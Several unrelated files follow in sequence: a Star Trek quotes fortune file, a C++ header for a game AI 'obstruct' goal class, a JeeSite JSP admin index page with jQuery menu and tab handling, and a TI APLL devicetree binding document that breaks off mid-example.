to cure the aging effects of the rogue comet near Gamma Hydra 4. "What am I, a doctor or a moonshuttle conductor?" -- "The Corbomite Maneuver", when Kirk rushed off from a physical exam to answer the alert. % I'm a soldier, not a diplomat. I can only tell the truth. -- Kirk, "Errand of Mercy", stardate 3198.9 % I'm frequently appalled by the low regard you Earthmen have for life. -- Spock, "The Galileo Seven", stardate 2822.3 % I've already got a female to worry about. Her name is the Enterprise. -- Kirk, "The Corbomite Maneuver", stardate 1514.0 % If a man had a child who'd gone anti-social, killed perhaps, he'd still tend to protect that child. -- McCoy, "The Ultimate Computer", stardate 4731.3 % If I can have honesty, it's easier to overlook mistakes. -- Kirk, "Space Seed", stardate 3141.9 % If some day we are defeated, well, war has its fortunes, good and bad. -- Commander Kor, "Errand of Mercy", stardate 3201.7 % If there are self-made purgatories, then we all have to live in them. -- Spock, "This Side of Paradise", stardate 3417.7 % Immortality consists largely of boredom. -- Zefrem Cochrane, "Metamorphosis", stardate 3219.8 % In the strict scientific sense we all feed on death -- even vegetarians. -- Spock, "Wolf in the Fold", stardate 3615.4 % Insufficient facts always invite danger. -- Spock, "Space Seed", stardate 3141.9 % Insults are effective only where emotion is present. -- Spock, "Who Mourns for Adonais?" stardate 3468.1 % Intuition, however illogical, is recognized as a command prerogative. -- Kirk, "Obsession", stardate 3620.7 % Is not that the nature of men and women -- that the pleasure is in the learning of each other? -- Natira, the High Priestess of Yonada, "For the World is Hollow and I Have Touched the Sky", stardate 5476.3. % Is truth not truth for all? -- Natira, "For the World is Hollow and I have Touched the Sky", stardate 5476.4. % It [being a Vulcan] means to adopt a philosophy, a way of life which is logical and beneficial. We cannot disregard that philosophy merely for personal gain, no matter how important that gain might be. -- Spock, "Journey to Babel", stardate 3842.4 % It is a human characteristic to love little animals, especially if they're attractive in some way. -- McCoy, "The Trouble with Tribbles", stardate 4525.6 % It is more rational to sacrifice one life than six. -- Spock, "The Galileo Seven", stardate 2822.3 % It is necessary to have purpose. -- Alice #1, "I, Mudd", stardate 4513.3 % It is undignified for a woman to play servant to a man who is not hers. -- Spock, "Amok Time", stardate 3372.7 % It would be illogical to assume that all conditions remain stable. -- Spock, "The Enterprise Incident", stardate 5027.3 % It would be illogical to kill without reason. -- Spock, "Journey to Babel", stardate 3842.4 % It would seem that evil retreats when forcibly confronted. -- Yarnek of Excalbia, "The Savage Curtain", stardate 5906.5 % "It's hard to believe that something which is neither seen nor felt can do so much harm." "That's true. But an idea can't be seen or felt. And that's what kept the Troglytes in the mines all these centuries. A mistaken idea." -- Vanna and Kirk, "The Cloud Minders", stardate 5819.0 % Killing is stupid; useless! -- McCoy, "A Private Little War", stardate 4211.8 % Killing is wrong. -- Losira, "That Which Survives", stardate unknown % Kirk to Enterprise -- beam down yeoman Rand and a six-pack. % Klingon phaser attack from front!!!!! 100% Damage to life support!!!! % Knowledge, sir, should be free to all! -- Harry Mudd, "I, Mudd", stardate 4513.3 % Landru! Guide us! -- A Beta 3-oid, "The Return of the Archons", stardate 3157.4 % Leave bigotry in your quarters; there's no room for it on the bridge. -- Kirk, "Balance of Terror", stardate 1709.2 % "Life and death are seldom logical." "But attaining a desired goal always is." -- McCoy and Spock, "The Galileo Seven", stardate 2821.7 % Live long and prosper. -- Spock, "Amok Time", stardate 3372.7 % "Logic and practical information do not seem to apply here." "You admit that?" "To deny the facts would be illogical, Doctor" -- Spock and McCoy, "A Piece of the Action", stardate unknown % Lots of people drink from the wrong bottle sometimes. -- Edith Keeler, "The City on the Edge of Forever", stardate unknown % Love sometimes expresses itself in sacrifice. -- Kirk, "Metamorphosis", stardate 3220.3 % Madness has no purpose. Or reason. But it may have a goal. -- Spock, "The Alternative Factor", stardate 3088.7 % Many Myths are based on truth -- Spock, "The Way to Eden", stardate 5832.3 % Men of peace usually are [brave]. -- Spock, "The Savage Curtain", stardate 5906.5 % Men will always be men -- no matter where they are. -- Harry Mudd, "Mudd's Women", stardate 1329.8 % Military secrets are the most fleeting of all. -- Spock, "The Enterprise Incident", stardate 5027.4 % Mind your own business, Spock. I'm sick of your halfbreed interference. % Most legends have their basis in facts. -- Kirk, "And The Children Shall Lead", stardate 5029.5 % Murder is contrary to the laws of man and God. -- M-5 Computer, "The Ultimate Computer", stardate 4731.3 % No more blah, blah, blah! -- Kirk, "Miri", stardate 2713.6 % No one can guarantee the actions of another. -- Spock, "Day of the Dove", stardate unknown % No one may kill a man. Not for any purpose. It cannot be condoned. -- Kirk, "Spock's Brain", stardate 5431.6 % "No one talks peace unless he's ready to back it up with war." "He talks of peace if it is the only way to live." -- Colonel Green and Surak of Vulcan, "The Savage Curtain", stardate 5906.5. % No one wants war. -- Kirk, "Errand of Mercy", stardate 3201.7 % No problem is insoluble. -- Dr. Janet Wallace, "The Deadly Years", stardate 3479.4 % Not one hundred percent efficient, of course ... but nothing ever is. -- Kirk, "Metamorphosis", stardate 3219.8 % Oblivion together does not frighten me, beloved. -- Thalassa (in Anne Mulhall's body), "Return to Tomorrow", stardate 4770.3. % Oh, that sound of male ego. You travel halfway across the galaxy and it's still the same song. -- Eve McHuron, "Mudd's Women", stardate 1330.1 % On my planet, to rest is to rest -- to cease using energy. To me, it is quite illogical to run up and down on green grass, using energy, instead of saving it. -- Spock, "Shore Leave", stardate 3025.2 % One does not thank logic. -- Sarek, "Journey to Babel", stardate 3842.4 % One of the advantages of being a captain is being able to ask for advice without necessarily having to take it. -- Kirk, "Dagger of the Mind", stardate 2715.2 % Only a fool fights in a burning house. -- Kank the Klingon, "Day of the Dove", stardate unknown % Our missions are peaceful -- not for conquest. When we do battle, it is only because we have no choice. -- Kirk, "The Squire of Gothos", stardate 2124.5 % Our way is peace. -- Septimus, the Son Worshiper, "Bread and Circuses", stardate 4040.7. % Pain is a thing of the mind. The mind can be controlled. -- Spock, "Operation -- Annihilate!" stardate 3287.2 % Peace was the way. -- Kirk, "The City on the Edge of Forever", stardate unknown % Phasers locked on target, Captain. % Power is danger. -- The Centurion, "Balance of Terror", stardate 1709.2 % Prepare for tomorrow -- get ready. -- Edith Keeler, "The City On the Edge of Forever", stardate unknown % Punishment becomes ineffective after a certain point. Men become insensitive. -- Eneg, "Patterns of Force", stardate 2534.7 % Respect is a rational process -- McCoy, "The Galileo Seven", stardate 2822.3 % Romulan women are not like Vulcan females. We are not dedicated to pure logic and the sterility of non-emotion. -- Romulan Commander, "The Enterprise Incident", stardate 5027.3 % Schshschshchsch. -- The Gorn, "Arena", stardate 3046.2 % She won' go Warp 7, Cap'n! The batteries are dead! % Sometimes a feeling is all we humans have to go on. -- Kirk, "A Taste of Armageddon", stardate 3193.9 % Sometimes a man will tell his bartender things he'll never tell his doctor. -- Dr. Phillip Boyce, "The Menagerie" ("The Cage"), stardate unknown. % Space: the final frontier. These are the voyages of the starship Enterprise. Its five-year mission: to explore strange new worlds; to seek out new life and new civilizations; to boldly go where no man has gone before. -- Captain James T. Kirk % Spock: The odds of surviving another attack are 13562190123 to 1, Captain. % Spock: We suffered 23 casualties in that attack, Captain. % Star Trek Lives! % Suffocating together ... would create heroic camaraderie. -- Khan Noonian Singh, "Space Seed", stardate 3142.8 % Superior ability breeds superior ambition. -- Spock, "Space Seed", stardate 3141.9 % "That unit is a woman." "A mass of conflicting impulses." -- Spock and Nomad, "The Changeling", stardate 3541.9 % The best diplomat I know is a fully activated phaser bank. -- Scotty % "The combination of a number of things to make existence worthwhile." "Yes, the philosophy of 'none,' meaning 'all.'" -- Spock and Lincoln, "The Savage Curtain", stardate 5906.4 % The face of war has never changed. Surely it is more logical to heal than to kill. -- Surak of Vulcan, "The Savage Curtain", stardate 5906.5 % The games have always strengthened us. Death becomes a familiar pattern. We don't fear it as you do. -- Proconsul Marcus Claudius, "Bread and Circuses", stardate 4041.2 % "The glory of creation is in its infinite diversity." "And in the way our differences combine to create meaning and beauty." -- Dr. Miranda Jones and Spock, "Is There in Truth No Beauty?", stardate 5630.8 % The heart is not a logical organ. -- Dr. Janet Wallace, "The Deadly Years", stardate 3479.4 % The idea of male and female are universal constants. -- Kirk, "Metamorphosis", stardate 3219.8 % The joys of love made her human and the agonies of love destroyed her. -- Spock, "Requiem for Methuselah", stardate 5842.8 % The man on tops walks a lonely street; the "chain" of command is often a noose. % The more complex the mind, the greater the need for the simplicity of play. -- Kirk, "Shore Leave", stardate 3025.8 % The only solution is ... a balance of power. We arm our side with exactly that much more. A balance of power -- the trickiest, most difficult, dirtiest game of them all. But the only one that preserves both sides. -- Kirk, "A Private Little War", stardate 4211.8 % The people of Gideon have always believed that life is sacred. That the love of life is the greatest gift ... We are incapable of destroying or interfering with the creation of that which we love so deeply -- life in every form from fetus to developed being. -- Hodin of Gideon, "The Mark of Gideon", stardate 5423.4 % ... The prejudices people feel about each other disappear when they get to know each other. -- Kirk, "Elaan of Troyius", stardate 4372.5 % "The release of emotion is what keeps us health. Emotionally healthy." "That may be, Doctor. However, I have noted that the healthy release of emotion is frequently unhealthy for those closest to you." -- McCoy and Spock, "Plato's Stepchildren", stardate 5784.3 % The sight of death frightens them [Earthers]. -- Kras the Klingon, "Friday's Child", stardate 3497.2 % The sooner our happiness together begins, the longer it will last. -- Miramanee, "The Paradise Syndrome", stardate 4842.6 % ... The things love can drive a man to -- the ecstasies, the miseries, the broken rules, the desperate chances, the glorious failures and the glorious victories. -- McCoy, "Requiem for Methuselah", stardate 5843.7 % There are always alternatives. -- Spock, "The Galileo Seven", stardate 2822.3 % There are certain things men must do to remain men. -- Kirk, "The Ultimate Computer", stardate 4929.4 % There are some things worth dying for. -- Kirk, "Errand of Mercy", stardate 3201.7 % There comes to all races an ultimate crisis which you have yet to face .... One day our minds became so powerful we dared think of ourselves as gods. -- Sargon, "Return to Tomorrow", stardate 4768.3 % There is a multi-legged creature crawling on your shoulder. -- Spock, "A Taste of Armageddon", stardate 3193.9 % There is an old custom among my people. When a woman saves a man's life, he is grateful. -- Nona, the Kanuto witch woman, "A Private Little War", stardate 4211.8. % There is an order of things in this universe. -- Apollo, "Who Mourns for Adonais?" stardate 3468.1 % There's a way out of any cage. -- Captain Christopher Pike, "The Menagerie" ("The Cage"), stardate unknown. % There's another way to survive. Mutual trust -- and help. -- Kirk, "Day of the Dove", stardate unknown % There's no honorable way to kill, no gentle way to destroy. There is nothing good in war. Except its ending. -- Abraham Lincoln, "The Savage Curtain", stardate 5906.5 % There's nothing disgusting about it [the Companion]. It's just another life form, that's all. You get used to those things. -- McCoy, "Metamorphosis", stardate 3219.8 % "There's only one kind of woman ..." "Or man, for that matter. You either believe in yourself or you don't." -- Kirk and Harry Mudd, "Mudd's Women", stardate 1330.1 % This cultural mystique surrounding the biological function -- you realize humans are overly preoccupied with the subject. -- Kelinda the Kelvan, "By Any Other Name", stardate 4658.9 % Those who hate and fight must stop themselves -- otherwise it is not stopped. -- Spock, "Day of the Dove", stardate unknown % Time is fluid ... like a river with currents, eddies, backwash. -- Spock, "The City on the Edge of Forever", stardate 3134.0 % To live is always desirable. -- Eleen the Capellan, "Friday's Child", stardate 3498.9 % Too much of anything, even love, isn't necessarily a good thing. -- Kirk, "The Trouble with Tribbles", stardate 4525.6 % Totally illogical, there was no chance. -- Spock, "The Galileo Seven", stardate 2822.3 % Uncontrolled power will turn even saints into savages. And we can all be counted on to live down to our lowest impulses. -- Parmen, "Plato's Stepchildren", stardate 5784.3 % Violence in reality is quite different from theory. -- Spock, "The Cloud Minders", stardate 5818.4 % Virtue is a relative term. -- Spock, "Friday's Child", stardate 3499.1 % Vulcans believe peace should not depend on force. -- Amanda, "Journey to Babel", stardate 3842.3 % Vulcans do not approve of violence. -- Spock, "Journey to Babel", stardate 3842.4 % Vulcans never bluff. -- Spock, "The Doomsday Machine", stardate 4202.1 % Vulcans worship peace above all. -- McCoy, "Return to Tomorrow", stardate 4768.3 % Wait! You have not been prepared! -- Mr. Atoz, "Tomorrow is Yesterday", stardate 3113.2 % War is never imperative. -- McCoy, "Balance of Terror", stardate 1709.2 % War isn't a good life, but it's life. -- Kirk, "A Private Little War", stardate 4211.8 % [War] is instinctive. But the instinct can be fought. We're human beings with the blood of a million savage years on our hands! But we can stop it. We can admit that we're killers ... but we're not going to kill today. That's all it takes! Knowing that we're not going to kill today! -- Kirk, "A Taste of Armageddon", stardate 3193.0 % Warp 7 -- It's a law we can live with. % We do not colonize. We conquer. We rule. There is no other way for us. -- Rojan, "By Any Other Name", stardate 4657.5 % We fight only when there is no other choice. We prefer the ways of peaceful contact. -- Kirk, "Spectre of the Gun", stardate 4385.3 % We have found all life forms in the galaxy are capable of superior development. -- Kirk, "The Gamesters of Triskelion", stardate 3211.7 % We have phasers, I vote we blast 'em! -- Bailey, "The Corbomite Maneuver", stardate 1514.2 % "We have the right to survive!" "Not by killing others." -- Deela and Kirk, "Wink of An Eye", stardate 5710.5 % We Klingons believe as you do -- the sick should die. Only the strong should live. -- Kras, "Friday's Child", stardate 3497.2 % We'll pivot at warp 2 and bring all tubes to bear, Mr. Sulu! % We're all sorry for the other guy when he loses his job to a machine. But when it comes to your job -- that's different. And it always will be different. -- McCoy, "The Ultimate Computer", stardate 4729.4 % Well, Jim, I'm not much of an actor either. % "What happened to the crewman?" "The M-5 computer needed a new power source, the crewman merely got in the way." -- Kirk and Dr. Richard Daystrom, "The Ultimate Computer", stardate 4731.3. % What kind of love is that? Not to be loved; never to have shown love. -- Commissioner Nancy Hedford, "Metamorphosis", stardate 3219.8 % "What terrible way to die." "There are no good ways." -- Sulu and Kirk, "That Which Survives", stardate unknown % When a child is taught ... its programmed with simple instructions -- and at some point, if its mind develops properly, it exceeds the sum of what it was taught, thinks independently. -- Dr. Richard Daystrom, "The Ultimate Computer", stardate 4731.3. % When dreams become more important than reality, you give up travel, building, creating; you even forget how to repair the machines left behind by your ancestors. You just sit living and reliving other lives left behind in the thought records. -- Vina, "The Menagerie" ("The Cage"), stardate unknown % Where there's no emotion, there's no motive for violence. -- Spock, "Dagger of the Mind", stardate 2715.1 % Witch! Witch! They'll burn ya! -- Hag, "Tomorrow is Yesterday", stardate unknown % Without facts, the decision cannot be made logically. You must rely on your human intuition. -- Spock, "Assignment: Earth", stardate unknown % Without followers, evil cannot spread. -- Spock, "And The Children Shall Lead", stardate 5029.5 % Without freedom of choice there is no creativity. -- Kirk, "The return of the Archons", stardate 3157.4 % Women are more easily and more deeply terrified ... generating more sheer horror than the male of the species. -- Spock, "Wolf in the Fold", stardate 3615.4 % Women professionals do tend to over-compensate. -- Dr. Elizabeth Dehaver, "Where No Man Has Gone Before", stardate 1312.9. % Worlds are conquered, galaxies destroyed -- but a woman is always a woman. -- Kirk, "The Conscience of the King", stardate 2818.9 % Yes, it is written. Good shall always destroy evil. -- Sirah the Yang, "The Omega Glory", stardate unknown % You are an excellent tactician, Captain. You let your second in command attack while you sit and watch for weakness. -- Khan Noonian Singh, "Space Seed", stardate 3141.9 % You can't evaluate a man by logic alone. -- McCoy, "I, Mudd", stardate 4513.3 % You canna change the laws of physics, Captain; I've got to have thirty minutes! % You Earth people glorified organized violence for forty centuries. But you imprison those who employ it privately. -- Spock, "Dagger of the Mind", stardate 2715.1 % You go slow, be gentle. It's no one-way street -- you know how you feel and that's all. It's how the girl feels too. Don't press. If the girl feels anything for you at all, you'll know. -- Kirk, "Charlie X", stardate 1535.8 % You humans have that emotional need to express gratitude. "You're welcome," I believe, is the correct response. -- Spock, "Bread and Circuses", stardate 4041.2 % You say you are lying. But if everything you say is a lie, then you are telling the truth. You cannot tell the truth because everything you say is a lie. You lie, you tell the truth ... but you cannot, for you lie. -- Norman the android, "I, Mudd", stardate 4513.3 % You speak of courage. Obviously you do not know the difference between courage and foolhardiness. Always it is the brave ones who die, the soldiers. -- Kor, the Klingon Commander, "Errand of Mercy", stardate 3201.7 % You! What PLANET is this! -- McCoy, "The City on the Edge of Forever", stardate 3134.0 % You'll learn something about men and women -- the way they're supposed to be. Caring for each other, being happy with each other, being good to each other. That's what we call love. You'll like that a lot. -- Kirk, "The Apple", stardate 3715.6 % You're dead, Jim. -- McCoy, "Amok Time", stardate 3372.7 % You're dead, Jim. -- McCoy, "The Tholian Web", stardate unknown % You're too beautiful to ignore. Too much woman. -- Kirk to Yeoman Rand, "The Enemy Within", stardate unknown % Youth doesn't excuse everything. -- Dr. Janice Lester (in Kirk's body), "Turnabout Intruder", stardate 5928.5. % There's coffee in that nebula! -- Capt. Kathryn Janeway, Star Trek: Voyager, "The Cloud" % Dismissed. That's a Star Fleet expression for, "Get out." -- Capt. Kathryn Janeway, Star Trek: Voyager, "The Cloud" %
{ "pile_set_name": "Github" }
//---------------------------------------------------------------------------- // // MODULE: AIGoalObstruct.h // // PURPOSE: CAIGoalObstruct declaration // // CREATED: 11.12.2001 // // (c) 2001 Monolith Productions, Inc. All Rights Reserved // // // COMMENTS: - // // //---------------------------------------------------------------------------- #ifndef __AIGOALOBSTRUCT_H__ #define __AIGOALOBSTRUCT_H__ #if _MSC_VER >= 1000 #pragma once #endif // _MSC_VER >= 1000 // Includes #include "AIGoalAbstractStimulated.h" #include "AINode.h" // Forward declarations // Globals // Statics //---------------------------------------------------------------------------- // // CLASS: CAIGoalObstruct // // PURPOSE: // //---------------------------------------------------------------------------- class CAIGoalObstruct : public CAIGoalAbstractStimulated { public: // Public members DECLARE_AI_FACTORY_CLASS_SPECIFIC(Goal, CAIGoalObstruct, kGoal_Obstruct); CAIGoalObstruct() {} // Save / Load virtual void Save(ILTMessage_Write *pMsg); virtual void Load(ILTMessage_Read *pMsg); // Activation. virtual void ActivateGoal(); // Updating. void UpdateGoal(); // Attractor Handling. virtual AINode* HandleGoalAttractors(); // Sense Handling. virtual LTBOOL HandleGoalSenseTrigger(AISenseRecord* pSenseRecord); protected: // Protected members // State Handling. void HandleStateObstruct(); int GetAttractorCount(); AINode* FindAndSetupNode(EnumAINodeType kNodeType); void SetLastStimulusSource(HOBJECT hStim); HOBJECT GetLastStimulusSource(void); void SetObstructNode(HOBJECT hNode); HOBJECT GetObstructNode(void); AINodeObstruct* GetObstructObject(void); void SetFailedNode(HOBJECT hNode); HOBJECT GetFailedNode(void); private: // Private members // Copy Constructor and Asignment Operator private to prevent // automatic generation and inappropriate, unintentional use // Intentionally left unimplemented. CAIGoalObstruct(const CAIGoalObstruct& rhs); CAIGoalObstruct& operator=(const CAIGoalObstruct& rhs ); // Save: LTObjRef m_hNodeObstruct; LTObjRef m_hNodeObstructFailed; // Don't Save: }; #endif // __AIGOALOBSTRUCT_H__
{ "pile_set_name": "Github" }
<%@ page contentType="text/html;charset=UTF-8" %> <%@ include file="/WEB-INF/views/include/taglib.jsp"%> <html> <head> <title>${fns:getConfig('productName')}</title> <meta name="decorator" content="blank"/> <c:if test="${cookie.tabmode.value eq '1'}"><link rel="Stylesheet" href="${ctxStatic}/jerichotab/css/jquery.jerichotab.css" /> <script type="text/javascript" src="${ctxStatic}/jerichotab/js/jquery.jerichotab.js"></script></c:if> <style type="text/css"> #main {padding:0;margin:0;} #main .container-fluid{padding:0 4px 0 6px;} #header {margin:0 0 8px;position:static;} #header li {font-size:14px;_font-size:12px;} #header .brand {font-family:Helvetica, Georgia, Arial, sans-serif, 黑体;font-size:26px;padding-left:33px;} #footer {margin:8px 0 0 0;padding:3px 0 0 0;font-size:11px;text-align:center;border-top:2px solid #0663A2;} #footer, #footer a {color:#999;} #left{overflow-x:hidden;overflow-y:auto;} #left .collapse{position:static;} #userControl>li>a{color:#555;text-shadow:none;} #userControl>li>a:hover, #user #userControl>li.open>a{background:transparent;} </style> <script type="text/javascript"> $(document).ready(function() { // <c:if test="${cookie.tabmode.value eq '1'}"> 初始化页签 $.fn.initJerichoTab({ renderTo: '#right', uniqueId: 'jerichotab', contentCss: { 'height': $('#right').height() - tabTitleHeight }, tabs: [], loadOnce: true, tabWidth: 110, titleHeight: tabTitleHeight });//</c:if> // 绑定菜单单击事件 $("#menu a.menu").click(function(){ // 一级菜单焦点 $("#menu li.menu").removeClass("active"); $(this).parent().addClass("active"); // 左侧区域隐藏 if ($(this).attr("target") == "mainFrame"){ $("#left,#openClose").hide(); wSizeWidth(); // <c:if test="${cookie.tabmode.value eq '1'}"> 隐藏页签 $(".jericho_tab").hide(); $("#mainFrame").show();//</c:if> return true; } // 左侧区域显示 $("#left,#openClose").show(); if(!$("#openClose").hasClass("close")){ $("#openClose").click(); } // 显示二级菜单 var menuId = "#menu-" + $(this).attr("data-id"); if ($(menuId).length > 0){ $("#left .accordion").hide(); $(menuId).show(); // 初始化点击第一个二级菜单 if (!$(menuId + " .accordion-body:first").hasClass('in')){ $(menuId + " .accordion-heading:first a").click(); } if (!$(menuId + " .accordion-body li:first ul:first").is(":visible")){ $(menuId + " .accordion-body a:first i").click(); } // 初始化点击第一个三级菜单 $(menuId + " .accordion-body li:first li:first a:first i").click(); }else{ // 获取二级菜单数据 $.get($(this).attr("data-href"), function(data){ if (data.indexOf("id=\"loginForm\"") != -1){ alert('未登录或登录超时。请重新登录,谢谢!'); top.location = "${ctx}"; return false; } $("#left .accordion").hide(); $("#left").append(data); // 链接去掉虚框 $(menuId + " a").bind("focus",function() { if(this.blur) {this.blur()}; }); // 二级标题 $(menuId + " .accordion-heading a").click(function(){ $(menuId + " .accordion-toggle i").removeClass('icon-chevron-down').addClass('icon-chevron-right'); if(!$($(this).attr('data-href')).hasClass('in')){ $(this).children("i").removeClass('icon-chevron-right').addClass('icon-chevron-down'); } }); // 二级内容 $(menuId + " .accordion-body a").click(function(){ $(menuId + " li").removeClass("active"); $(menuId + " li i").removeClass("icon-white"); $(this).parent().addClass("active"); $(this).children("i").addClass("icon-white"); }); // 展现三级 $(menuId + " .accordion-inner a").click(function(){ var href = $(this).attr("data-href"); if($(href).length > 0){ $(href).toggle().parent().toggle(); return false; } // <c:if test="${cookie.tabmode.value eq '1'}"> 打开显示页签 return addTab($(this)); // </c:if> }); // 默认选中第一个菜单 $(menuId + " .accordion-body a:first i").click(); $(menuId + " .accordion-body li:first li:first a:first i").click(); }); } // 大小宽度调整 wSizeWidth(); return false; }); // 初始化点击第一个一级菜单 $("#menu a.menu:first span").click(); // <c:if test="${cookie.tabmode.value eq '1'}"> 下拉菜单以选项卡方式打开 $("#userInfo .dropdown-menu a").mouseup(function(){ return addTab($(this), true); });// </c:if> // 获取通知数目 <c:set var="oaNotifyRemindInterval" value="${fns:getConfig('oa.notify.remind.interval')}"/> function getNotifyNum(){ $.get("${ctx}/oa/oaNotify/self/count?t="+new Date().getTime(),function(data){ var num = parseFloat(data); if (num > 0){ $("#notifyNum,#notifyNum2").show().html("("+num+")"); }else{ $("#notifyNum,#notifyNum2").hide() } }); } getNotifyNum(); //<c:if test="${oaNotifyRemindInterval ne '' && oaNotifyRemindInterval ne '0'}"> setInterval(getNotifyNum, ${oaNotifyRemindInterval}); //</c:if> }); // <c:if test="${cookie.tabmode.value eq '1'}"> 添加一个页签 function addTab($this, refresh){ $(".jericho_tab").show(); $("#mainFrame").hide(); $.fn.jerichoTab.addTab({ tabFirer: $this, title: $this.text(), closeable: true, data: { dataType: 'iframe', dataLink: $this.attr('href') } }).loadData(refresh); return false; }// </c:if> </script> </head> <body> <div id="main"> <div id="header" class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="brand"><span id="productName">${fns:getConfig('productName')}</span></div> <ul id="userControl" class="nav pull-right"><%-- <li><a href="${pageContext.request.contextPath}${fns:getFrontPath()}/index-${fnc:getCurrentSiteId()}.html" target="_blank" title="访问网站主页"><i class="icon-home"></i></a></li>--%> <li id="themeSwitch" class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#" title="主题切换"><i class="icon-th-large"></i></a> <ul class="dropdown-menu"> <c:forEach items="${fns:getDictList('theme')}" var="dict"><li><a href="#" onclick="location='${pageContext.request.contextPath}/theme/${dict.value}?url='+location.href">${dict.label}</a></li></c:forEach> <li><a href="javascript:cookie('tabmode','${cookie.tabmode.value eq '1' ? '0' : '1'}');location=location.href">${cookie.tabmode.value eq '1' ? '关闭' : '开启'}页签模式</a></li> </ul> <!--[if lte IE 6]><script type="text/javascript">$('#themeSwitch').hide();</script><![endif]--> </li> <li id="userInfo" class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#" title="个人信息">您好, ${fns:getUser().name}&nbsp;<span id="notifyNum" class="label label-info hide"></span></a> <ul class="dropdown-menu"> <li><a href="${ctx}/sys/user/info" target="mainFrame"><i class="icon-user"></i>&nbsp; 个人信息</a></li> <li><a href="${ctx}/sys/user/modifyPwd" target="mainFrame"><i class="icon-lock"></i>&nbsp; 修改密码</a></li> <li><a href="${ctx}/oa/oaNotify/self" target="mainFrame"><i class="icon-bell"></i>&nbsp; 我的通知 <span id="notifyNum2" class="label label-info hide"></span></a></li> </ul> </li> <li><a href="${ctx}/logout" title="退出登录">退出</a></li> <li>&nbsp;</li> </ul> <%--<c:if test="${cookie.theme.value eq 'cerulean'}"> --%> <div id="user" style="position:absolute;top:0;right:0;"></div> <div id="logo" style="background:url(${ctxStatic}/images/logo.png) right repeat-x;width:100%;"> <div style="background:url(${ctxStatic}/images/logo.png) left no-repeat;width:100%;height:70px;"></div> </div> <script type="text/javascript"> $("#productName").hide();$("#user").html($("#userControl"));$("#header").prepend($("#user, #logo")); </script> <%--</c:if> --%> <div class="nav-collapse"> <ul id="menu" class="nav" style="*white-space:nowrap;float:none;"> <c:set var="firstMenu" value="true"/> <c:forEach items="${fns:getMenuList()}" var="menu" varStatus="idxStatus"> <c:if test="${menu.parent.id eq '1'&&menu.isShow eq '1'}"> <li class="menu ${not empty firstMenu && firstMenu ? ' active' : ''}"> <c:if test="${empty menu.href}"> <a class="menu" href="javascript:" data-href="${ctx}/sys/menu/tree?parentId=${menu.id}" data-id="${menu.id}"><span>${menu.name}</span></a> </c:if> <c:if test="${not empty menu.href}"> <a class="menu" href="${fn:indexOf(menu.href, '://') eq -1 ? ctx : ''}${menu.href}" data-id="${menu.id}" target="mainFrame"><span>${menu.name}</span></a> </c:if> </li> <c:if test="${firstMenu}"> <c:set var="firstMenuId" value="${menu.id}"/> </c:if> <c:set var="firstMenu" value="false"/> </c:if> </c:forEach><%-- <shiro:hasPermission name="cms:site:select"> <li class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#">${fnc:getSite(fnc:getCurrentSiteId()).name}<b class="caret"></b></a> <ul class="dropdown-menu"> <c:forEach items="${fnc:getSiteList()}" var="site"><li><a href="${ctx}/cms/site/select?id=${site.id}&flag=1">${site.name}</a></li></c:forEach> </ul> </li> </shiro:hasPermission> --%> </ul> </div><!--/.nav-collapse --> </div> </div> <div class="container-fluid"> <div id="content" class="row-fluid"> <div id="left"><%-- <iframe id="menuFrame" name="menuFrame" src="" style="overflow:visible;" scrolling="yes" frameborder="no" width="100%" height="650"></iframe> --%> </div> <div id="openClose" class="close">&nbsp;</div> <div id="right"> <iframe id="mainFrame" name="mainFrame" src="" style="overflow:visible;" scrolling="yes" frameborder="no" width="100%" height="650"></iframe> </div> </div> <div id="footer" class="row-fluid"> Copyright &copy; 2012-${fns:getConfig('copyrightYear')} ${fns:getConfig('productName')}<!-- - Powered By <a href="https://github.com/thinkgem/jeesite" target="_blank">JeeSite</a> ${fns:getConfig('version')} --> </div> </div> </div> <script type="text/javascript"> var leftWidth = 160; // 左侧窗口大小 var tabTitleHeight = 33; // 页签的高度 var htmlObj = $("html"), mainObj = $("#main"); var headerObj = $("#header"), footerObj = $("#footer"); var frameObj = $("#left, #openClose, #right, #right iframe"); function wSize(){ var minHeight = 500, minWidth = 980; var strs = getWindowSize().toString().split(","); htmlObj.css({"overflow-x":strs[1] < minWidth ? "auto" : "hidden", "overflow-y":strs[0] < minHeight ? "auto" : "hidden"}); mainObj.css("width",strs[1] < minWidth ? minWidth - 10 : "auto"); frameObj.height((strs[0] < minHeight ? minHeight : strs[0]) - headerObj.height() - footerObj.height() - (strs[1] < minWidth ? 42 : 28)); $("#openClose").height($("#openClose").height() - 5);// <c:if test="${cookie.tabmode.value eq '1'}"> $(".jericho_tab iframe").height($("#right").height() - tabTitleHeight); // </c:if> wSizeWidth(); } function wSizeWidth(){ if (!$("#openClose").is(":hidden")){ var leftWidth = ($("#left").width() < 0 ? 0 : $("#left").width()); $("#right").width($("#content").width()- leftWidth - $("#openClose").width() -5); }else{ $("#right").width("100%"); } }// <c:if test="${cookie.tabmode.value eq '1'}"> function openCloseClickCallBack(b){ $.fn.jerichoTab.resize(); } // </c:if> </script> <script src="${ctxStatic}/common/wsize.min.js" type="text/javascript"></script> </body> </html>
{ "pile_set_name": "Github" }
Binding for Texas Instruments APLL clock. Binding status: Unstable - ABI compatibility may be broken in the future This binding uses the common clock binding[1]. It assumes a register-mapped APLL with usually two selectable input clocks (reference clock and bypass clock), with analog phase locked loop logic for multiplying the input clock to a desired output clock. This clock also typically supports different operation modes (locked, low power stop etc.) APLL mostly behaves like a subtype of a DPLL [2], although a simplified one at that. [1] Documentation/devicetree/bindings/clock/clock-bindings.txt [2] Documentation/devicetree/bindings/clock/ti/dpll.txt Required properties: - compatible : shall be "ti,dra7-apll-clock" or "ti,omap2-apll-clock" - #clock-cells : from common clock binding; shall be set to 0. - clocks : link phandles of parent clocks (clk-ref and clk-bypass) - reg : address and length of the register set for controlling the APLL. It contains the information of registers in the following order: "control" - contains the control register offset "idlest" - contains the idlest register offset "autoidle" - contains the autoidle register offset (OMAP2 only) - ti,clock-frequency : static clock frequency for the clock (OMAP2 only) - ti,idlest-shift : bit-shift for the idlest field (OMAP2 only) - ti,bit-shift : bit-shift for enable and autoidle fields (OMAP2 only) Examples: apll_pcie_ck: apll_pcie_ck { #clock-cells = <0>; clocks = <&apll_pcie_in_clk_mux>, <&dpll_pcie_ref_ck>; reg = <0x021c>, <0x0220>; compatible = 